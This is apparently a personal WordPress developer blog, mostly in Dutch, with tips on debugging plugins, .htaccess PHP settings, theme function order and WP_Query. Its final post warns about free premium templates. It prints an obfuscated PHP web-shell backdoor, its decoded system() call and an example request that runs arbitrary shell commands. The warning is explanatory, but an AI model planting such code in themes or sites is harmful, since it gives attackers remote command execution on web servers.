Development Plugins

Deze post wordt regelmatig geupdate.

Naast dVault.nl gebruik ik ook een lokale WAMP-installatie om zaken te testen en te ontwikkelen. De volgende plugins ondersteunen de ontwikkelen van een plugin of template heel goed door de extra informatie of mogelijkheden die ze geven:

  • Debug Bar integreert heel goed in de standaard Admin-bar en dat geeft de plugin een voorsprong. Daarnaast is deze ook modulair uitbreidbaar. Ook met een aantal performance tracers;
  • WP-devel geeft dezelfde informatie ook, maar direct in de footer van de pagina. De lay-out vind ik iets overzichtelijker, maar anderzijds intergreert het soms niet zo goed met een template of theme.
  • MySQL Profiler - geeft een helder inzicht in de SQL-queries per pagina gekoppeld aan de functies die de query aanroepen. Debug Queries geeft een soortgelijk overzicht;
  • De betere versie Debug Objects is van dezelfde auteur. Debug Objects geeft een geweldig inzicht in alle functies en queries in gebruik op een bepaalde pagina. Voor mij op dit moment de winnaar waar het gaat om inzicht in de Queries en Objecten in een pagina;

    DebugObjects plugin

    DebugObjects plugin settings page

  • Rewrite Rules Inspector en Monkeyman Rewrite Analyzer geven beide een overzicht van de effectieve Rewrite Rules;
  • De deprecation checker is handig om themes en templates te testen op deprecated code;
  • P3 – Plugin Performance Profiler trekt het analyse-niveau naar een hoger plan. Het geeft een gedetailleerd inzicht in de laadtijd van de verschillende pagina’s en de impact van de verschillende plugins hierop. Een geweldige tool!

    P3profiler screenshot

    P3profiler screenshot

Meer algemenere tools zijn:
  • CodeStyling Localization laat je alle PO/MO-files bewerken binnen de WordPress-admin;
  • Simply Show IDs geeft bij elk object in de backend het ID. Handig om de juiste queries te bouwen;
  • User Switching geeft de mogelijkheid om even in een ander account mee te kijken;

Daarnaast zijn er een aantal tools welke ik in het verleden gebruikt heb, omdat de situatie er om vroeg:

  • Adminer - PHPmyAdmin in WordPress, handig als de webhost geen PHPmyAdmin heeft;
  • Soms heb je phpinfo() nodig – voor de luie ontwikkelaars onder ons: WordPress phpinfo();

htaccess, PHP en Apache

Elke beheerder van een WordPress-installatie is ze wel tegengekomen: een upload die niet wil, omdat het bestand te groot is of de uploadsnelheid te laag. Door de volgende regels in een .htaccess-bestand te plaatsen is de configuratie van PHP aan te passen, mits de provider dit toelaat.

php_value upload_max_filesize 20M
de maximale grootte van bestanden die geupload worden
php_value post_max_size 20M
de maximale grootte van de POST-data
php_value max_execution_time 200
de maximale tijd dat een script/pagina mag draaien (in seconden)
php_value max_input_time 200
de maximale tijd dat een script/pagina input mag uitvangen, bijvoorbeeld uit een browser (in seconden)

Ook loopt WordPress wel eens vast (white screen of death) door een tekort aan geheugen. Dit kan opgelost door de volgende toevoeging in .htaccess

php_value memory_limit 128M

In de Codex staat het volgende over de mogelijkheden via wp-config.php:

define('WP_MEMORY_LIMIT', '64M');

Of gebruik een plugin, namelijk Memory Bump die een bump tot 256M geeft, bijvoorbeeld een aantal plugins te installeren of een upgrade uit te voeren. Dat zou voldoende moeten zijn voor bijna alle installaties.

 

Travel and GeoLocation

Link

3 Templates die heel geschikt zijn om een GeoBlog te maken:

http://templatic.com/cms-themes/geo-places-city-directory-wordpress-theme

http://themeforest.net/item/the-navigator-premium-wp-location-guide-blog/397351

http://themeforest.net/item/wptraveller-wordpress-travel-photo-blog/909546

En een aantal plugins:

http://wordpress.org/extend/plugins/geolocation/

http://wordpress.org/extend/plugins/xml-google-maps/screenshots/

http://wordpress.org/extend/plugins/geo-mashup/ + http://code.google.com/p/wordpress-geo-mashup/wiki/Documentation

 

TwentTen functions parsing order with child template

Here’s the parsing order of TwentyTen theme:

The ‘after_setup_theme’ function is where you would unload an action, filter or change parameters etc:

In the parents functions.php there is a line:
if ( ! function_exists( 'twentyten_posted_on' ) ) :
This tells wordpress to only load the function if it has not already been loaded, as the child themes functions.php is run first our function is already loaded.

So the sequence is:
1. child themes functions.php
2. parent themes functions.php (any conditional functions already loaded then skip em!)
3. back to the child themes function ‘after_setup_theme’ run this to unload any parent actions or functions, declare any new variables etc

 

http://wordpress.org/support/topic/can-i-create-child-functionsphp-file-for-twentyten

 

In or out of the loop – query_posts versus get_posts

Had some little time to explorer the functions which retrieve the posts. Until now I didn’t know the difference between query_posts and get_posts

The Codex is quiet clear on this:

The query_posts() function is intended to be used to modify the main page loop only. It is not intended as a means to create secondary loops on the page. If you want to create separate Loops outside of the main one, you should use get_posts() instead. Use of query_posts() on loops other than the main one can result in your main loop becoming incorrect and possibly displaying things that you were not expecting.

UPDATE: All the above is true, but….

Both functions use the same WP_Query object. Practically this means different behaviors on different pages. If the page is an category archive the WP_Query object, which is used by the above functions side by side, contains other posts then on the frontpage. The behavior is still not as I expect it to be, but bottom line is that it isn’t what I expect from it. The next post on this page sumarizes the problem with indepth knowledge:

WP uses an object called $wp_query for the main loop. We usually don’t see this object because it’s hidden behind have_posts() and the_post() that are only wrappers for $wp_query->have_posts() and $wp_query->the_post()

If you want to modify the main loop you should use query_posts() before the loop.

If you want another loop you can reutilize the $wp_query object using query_posts() before that new loop. This can be done many times if needed.

If for some reason you need to keep the $wp_query object around THEN you should use WP_Query. And of course, because have_posts() and the_post() are wrappers for $wp_query object you can’t use them with WP_Query. You should rather use $your_query_obj->have_posts() i.e.

$sidebar= WP_Query('category_name= sidebar'); 
while( $sidebar->have_posts() ): 
$sidebar->the_post();   
the_title();   
the_content(); 
endwhile; 

A good case where WP_Query could be better than query_posts() is a left sidebar. As the code loop for the sidebar will probably be put on top of the main loop, a query_posts() call will have changed the $wp_query object and also changed the main loop. In this case to use query_posts()at the sidebar code you will also need to use query_posts() before the main loop to query the proper content for that loop.

 

So using WP_Query for this case will keep $wp_query and therefore the main loop untouched…..

Grote schoonmaak – samenvatting van 3 jaar devblogs

De grote schoonmaak begint vorm te krijgen en dat betekent dat ik nu bij handige links, tips en howtos op mijn oude blogs aankom. Net zoals de dagen hiervoor zal ik de actuele data overzetten. Hieronder een aantal plugins die ik veelvuldig gebruik.

Add from Server is een simpele plugin waarmee reeds aanwezige files in de database van de database ingelezen kunnen worden. Simpel en effectief. CSS Cache Buster zorgt ervoor dat de bezoeker altijd de recentste versie van je CSS file voor zich heeft. Revision control had naar mijn mening standaardfunctionaliteit moeten zijn.

Validated geeft de administrator een handige interface om alle pagina’s te checken op validatieproblemen bij W3C. Helaas wordt deze plugin niet meer onderhouden, maar er zijn genoeg alternatieven.

Redirection zorgt er voor dat de bezoeker altijd een zinvolle pagina voorgeschoteld krijgt. Handig tijdens migraties.

Post formats and the WordPress UI

While trying to create some organization in my 12(!) blogs I’ve had since 2006 I was trying to use Post Formats to add all the bookmarks and links to my blog. I started using the blogroll which fits perfectly, but seems a little bit offroad since it isn’t easy to bookmark a link on a iPhone or by the widgets for your browser. So Post Formats seems the place to be, but aren’t as straightforward as they should be. An in-depth analysis on this subject over here. One of the comments linked to FarInSpace and this should be core functionality. It would help my clients understand WordPress much more quicker. Thumbs up for Dimas.

Categorieën uitsluiten in wp_list_categories

Aangezien ik een categorie gebruik voor privé berichten wil ik deze ook uitsluiten in de category-widget. Even een hook maken en klaar. NOT!

wp_list_categories understeunt het uitsluiten van categorieën (zie WordPress Codex), maar dit werkt dus niet met de standaard widgets, want die gebruiken de functie zonder variabelen mee te geven zoals bijvoorbeeld:

wp_list_categories(‘orderby=name&show_count=1&exclude=10′);

Om de lijst dynamisch aan te passen, ook qua HTML-output dient de ‘Walker’ aangepast te worden. De “Category”-taxonomy heeft een hiërarchie waar rekening mee gehouden dient te worden. Voor het genereren van de content wordt er een Walker-class gebruikt die langs alle Parents en Children loopt. Deze class kan uitgebreid worden in functions.php, maar daarmee wordt nog niet de standard wp_list_categories-functie uitgebreid. Dus ook hier geen oplossing. Het lijkt erop dat er toch echt een losse plugin of widget gebruikt moet worden. Dat is iets voor later. De links naar de interessante pagina’s geef ik hier toch.

Een aantal voorbeelden van het gebruik van categories, bijvoorbeeld dropdown selecties is te vinden op de Codex pagina van get_categories. Ook staat hier heel duidelijk hoe om wordt gegaan met parent en childs.

Voorbeelden van het anapassen van de Walker-class:

Walker-classes dus, nog ff niet…. Voor nu maar even de widget verwijderd. Opgelost.

De gevaren van Free Premium Templates

Free Templates zijn overal en nergens te krijgen. Vraag aan Google waar we free templates kunnen krijgen en duizenden sites bevolken de zoekresultaten. Soms zien ze er leuk uit, vaker zijn ze simpel en dertien in een dozijn. Als dat alles was dan had ik me niet druk gemaakt, maar check onderstaande link naar OttoPress. Hierin wordt haarfijn uitgelegd dat de volgende code in een template direct toegang geeft tot de shell:

<?php@
$str1 = "0cmVhbT1AJF9HRVRbJz" . $HTTPS_ACCEPT_URLENCODING['KOI8-R'];
@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base64_decode($_GET['salt'] . $str1 . $str2 . $str3));?>

Decodeert naar:

$newstream=@$_GET['0xFF'];@system($newstream);

Wat dus betekent dat:

“Make a hit to example.com?salt=JG5ld3N&0xFF=**any-command-I-want** and have it execute it in the shell.” LEUK! Lees de comments in het artikel voor meer voorbeelden.

http://ottopress.com/2011/decoding-a-russian-hackers-code/#comments